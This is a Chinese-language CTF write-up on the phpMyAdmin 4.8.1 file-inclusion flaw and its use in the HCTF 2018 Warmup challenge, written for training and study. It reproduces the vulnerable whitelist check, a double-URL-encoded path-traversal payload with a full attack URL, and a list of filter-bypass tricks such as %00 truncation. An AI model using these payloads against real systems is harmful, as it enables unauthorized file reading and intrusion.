从phpMyAdmin 4.8.1漏洞到CTF实战：HCTF 2018 Warmup赛题深度解析
在网络安全竞赛中，phpMyAdmin 4.8.1的文件包含漏洞是一个经典案例。这个漏洞不仅在实际渗透测试中有重要价值，更成为CTF比赛中Web类题目的常见考点。本文将以HCTF 2018 Warmup赛题为例，详细拆解如何将漏洞原理转化为解题思路，帮助参赛者建立完整的代码审计思维框架。
1. 漏洞原理与条件分析
phpMyAdmin 4.8.1的文件包含漏洞核心在于index.php中对target参数的处理逻辑。要成功利用这个漏洞，需要满足以下关键条件：
参数基础验证：
- 参数不为空
- 参数为字符串类型
- 不以"index"开头
- 不在黑名单中(import.php/export.php)
白名单绕过机制：
// 检查逻辑的三种可能路径 if (in_array($page, $whitelist)) { return true; } if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); if (in_array($_page, $whitelist)) { return true; }其中最关键的是第三次检查时的双重URL解码特性：
- 服务器自动解码一次
urldecode()函数再解码一次- 需要构造
%253f来绕过（?的二次编码）
2. CTF赛题映射与源码审计
HCTF 2018 Warmup赛题给出了以下关键源码片段：
// source.php关键代码 if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; }对比phpMyAdmin漏洞，可以发现相似的安全检查模式：
| 检查项 | phpMyAdmin | HCTF Warmup |
|---|---|---|
| 空值检查 | !empty($target) | !empty($file) |
| 类型检查 | is_string($target) | is_string($file) |
| 扩展检查 | checkPageValidity() | emmm::checkFile() |
| 包含方式 | include $target | include $file |
通过hint.php获取的提示flag not here, and flag in ffffllllaaaagggg，结合phpMyAdmin的漏洞利用经验，可以推测需要构造特殊的文件包含路径。
3. Payload构造与绕过技巧
针对Warmup赛题的白名单检查，我们需要构造能够绕过emmm::checkFile()的payload。参考phpMyAdmin漏洞，关键步骤如下：
确定基础白名单文件：
- 题目中source.php本身通常是安全的
- 使用source.php作为跳板
应用双重编码技巧：
原始字符：? 一次编码：%3f 二次编码：%253f构造目录穿越路径：
# 计算需要的../层级 payload = "source.php%253f/../../../../ffffllllaaaagggg"完整攻击URL：
http://target.com/source.php?file=source.php%253f/../../../../ffffllllaaaagggg
4. 实战解题思维训练
要系统化培养这类题目的解题能力，建议按照以下步骤进行训练：
代码审计四步法：
- 定位危险函数（include/require）
- 追踪参数传递路径
- 分析过滤条件
- 寻找过滤逻辑缺陷
常见绕过模式清单：
- 编码绕过（URL/双重URL/Base64）
- 路径截断（%00/超长路径）
- 特殊字符利用（./~//）
CTF特有问题解决框架：
1. 查看页面源码和网络请求 2. 寻找提示文件(hint.php/robots.txt) 3. 分析给出的源代码 4. 建立漏洞利用模型 5. 构造测试payload 6. 迭代优化攻击方案
在真实比赛环境中，还需要注意时间管理和解题优先级。Web类题目通常会有多个解题路径，phpMyAdmin漏洞思路只是其中一种可能的突破口。
